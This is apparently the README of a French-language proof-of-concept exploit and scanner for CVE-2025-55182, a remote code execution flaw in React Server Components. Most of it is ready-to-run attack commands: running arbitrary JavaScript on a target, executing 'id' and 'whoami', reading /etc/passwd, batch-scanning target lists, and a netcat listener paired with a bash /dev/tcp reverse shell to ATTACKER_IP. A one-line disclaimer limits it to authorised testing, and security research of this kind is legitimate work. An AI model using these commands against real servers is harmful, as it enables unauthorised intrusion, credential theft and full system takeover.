
POC React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
Scanner d'exécution de code à distance pour les composants serveur React (RSC)
| Rôle | Nom | Lien |
|---|---|---|
| Recherche originale | Lachlan Davidson | github.com/lachlan2k |
Basé sur le PoC original : React2Shell-CVE-2025-55182-original-poc
React2Shell est un scanner de sécurité complet pour CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance (RCE) affectant les implémentations des composants serveur React (RSC). Cette vulnérabilité permet à des attaquants non authentifiés d'exécuter du code JavaScript arbitraire sur le serveur via une désérialisation non sécurisée dans le protocole React Flight.
# Clone the repository
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# Install dependencies
pip install requests
# Run the scanner
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
Détecte passivement les versions vulnérables de React et des frameworks :
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)Confirme activement la RCE en utilisant plusieurs techniques et les 4 variantes de payload :
# Basic verification (digest variation)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# With time-based verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# With OOB callback (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# Full verification with verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)Exécute des payloads JavaScript arbitraires :
# Get Node.js version
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Execute system command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# Read file
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)Scanne plusieurs URL à partir d'un fichier et affiche uniquement les cibles vulnérables :
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Version detection (default mode)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# RCE verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Batch scan multiple targets
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# Time-based + OOB verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback your-id.oastify.com
# Extract server info
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Execute command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# Start listener
nc -lvnp 443
# Execute reverse shell
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et éducatives.
| Argument | Description |
|---|
-t, --target | URL cible (ex : https://example.com) |
-f, --file | Fichier contenant une liste d'URL (une par ligne) pour un scan par lots |
-m, --mode | Mode de scan : version (par défaut), verify ou custom |
--js | Code JavaScript pour le mode custom |
--extract | Extraire le résultat sous forme de chaîne caractère par caractère |
--sleep SECONDS | Vérification RCE basée sur le temps (mode verify) |
--callback URL | URL de callback HTTP pour les tests OOB (mode verify) |
--dns DOMAIN | Domaine de callback DNS pour les tests OOB (mode verify) |
-v, --verbose | Sortie verbeuse avec détails des payloads |
--no-color | Désactiver la sortie colorée |
--timeout SECONDS | Délai d'expiration de la requête HTTP (par défaut : 30) |